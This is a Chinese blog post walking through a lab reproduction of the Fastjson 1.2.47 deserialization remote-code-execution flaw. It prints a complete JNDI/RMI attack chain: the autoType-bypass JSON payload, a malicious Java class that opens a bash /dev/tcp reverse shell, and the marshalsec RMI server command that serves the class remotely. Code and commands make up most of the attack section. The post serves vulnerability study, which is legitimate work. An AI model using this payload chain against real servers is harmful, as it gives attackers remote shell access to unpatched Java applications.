菜鸡一枚(勿喷)复现Fastjson「=1.2.47反序列化漏洞

0x00 前言

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。 loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。

0x02 影响范围

Fastjson1.2.47以及之前的版本

0x03 环境搭建

Ubuntu搭建vulhub,一键启动就OK,地址https://vulhub.org/

成功搭建环境:

太菜也没啥油水,直接进入正题哇。

0x04 漏洞利用

靶机A:192.168.1.105

主机B:192.168.1.100:8888(启web服务)

主机C:192.168.1.100:9999(启rmi服务)

主机B、C可为同一主机(太菜,复现的时候老纠结)

总体流程:

靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit进行远程方法调用,rmi找到http://主机B:8888/Exploit.class 文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容

fastjson反序列化payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.100:9999/Exploit",
        "autoCommit":true
    }
}

恶意java类exploit文件内容:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

使用javac编译Exploit.java

javac Exploit.java

主机B启web服务,存放恶意java类

构造url:如http://192.168.1.100/Exploit.class可直接下载:

主机C:借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class

marshalsec-0.0.3-SNAPSHOT-all.jar

链接:https://pan.baidu.com/s/1q3_8g1Ix3hgPRbhRljr3Og 
提取码:g3wa

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.100:8888/#Exploit" 9999

此时rmi服务已就绪,等待接收靶机的请求

主机B:开启NC监听1888端口:

向靶机发送fastjson反序列化漏洞payload:

靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit(开启rmi的)进行远程方法调用,rmi找到http://主机B:8888/Exploit.class (web服务的)文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容

反弹shell成功:

 

 

参考链接

https://freeerror.org/d/512-fastjson-1-2-24-1-2-47-rce

https://mp.weixin.qq.com/s/sWOuXnMd7r0q8W-sInMhGQ

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值